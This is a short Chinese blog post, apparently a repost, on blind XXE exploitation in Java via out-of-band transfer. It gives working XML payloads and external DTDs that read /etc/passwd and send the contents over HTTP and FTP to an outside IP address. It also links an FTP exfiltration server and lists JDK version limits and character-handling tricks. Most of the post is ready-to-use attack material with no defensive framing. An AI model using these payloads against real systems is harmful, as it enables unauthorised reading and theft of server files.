java的xxe无回显的带外传输

java

xxe无回显的情况下,正常的读取无特殊符号文件的时候可以只用常规的file协议来进行读取

参考文章:https://www.leadroyal.cn/?p=914

参考文章:https://www.t00ls.net/viewthread.php?tid=55662

比如payload:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE ANY [

<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">

%xd;

]>

<root>&bbbb;</root>

引入的外部dtd内容为如下:

<!ENTITY % aaaa SYSTEM "file:///etc/passwd">

<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://120.79.66.58/xxe/1.php?file=%aaaa;'>">

%demo;

返回的内容:如果正常的内容是可以的,如果带有特殊符号的话 可以用http和ftp的带外传输方法

比如ftp的带外传输

payload:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE ANY [

<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">

%xd;

]>

<root>&bbbb;</root>

外部引入的dtd内容为如下:

<!ENTITY % aaaa SYSTEM "file:///home/etc/passwd">

<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'ftp://120.79.66.58:2121/%aaaa;'>">

%demo;

在读取的时候还需要架设一个本地的FTP服务器

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

没有深入的学习过java,这里只说自己遇到xxe无回显环境的坑

在使用ftp 进行 oob 时,对版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件

当FTP 遇到斜杠符号表示cd到子目录,什么意思呢?

'/' 当遇到该符号的时候,FTP读取返回的数据就会表示成 'CWD'

总结:

1、所有的【\r】 都会被替换为【\n】

2、如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件,所以这里通用的方法就是FTP来进行读取

3、版本限制是 <7u141 和 <8u162 才可以读取整个文件

4、如果含有特殊字符 【%】 【&】 会完全出错

5、如果含有特殊字符 【’】 【”】 可以稍微绕过

6、如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断

7、如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case

8、如果含有特殊字符【#】,会造成截断

以上是 java的xxe无回显的带外传输 的全部内容, 来源链接: utcz.com/z/391879.html

回到顶部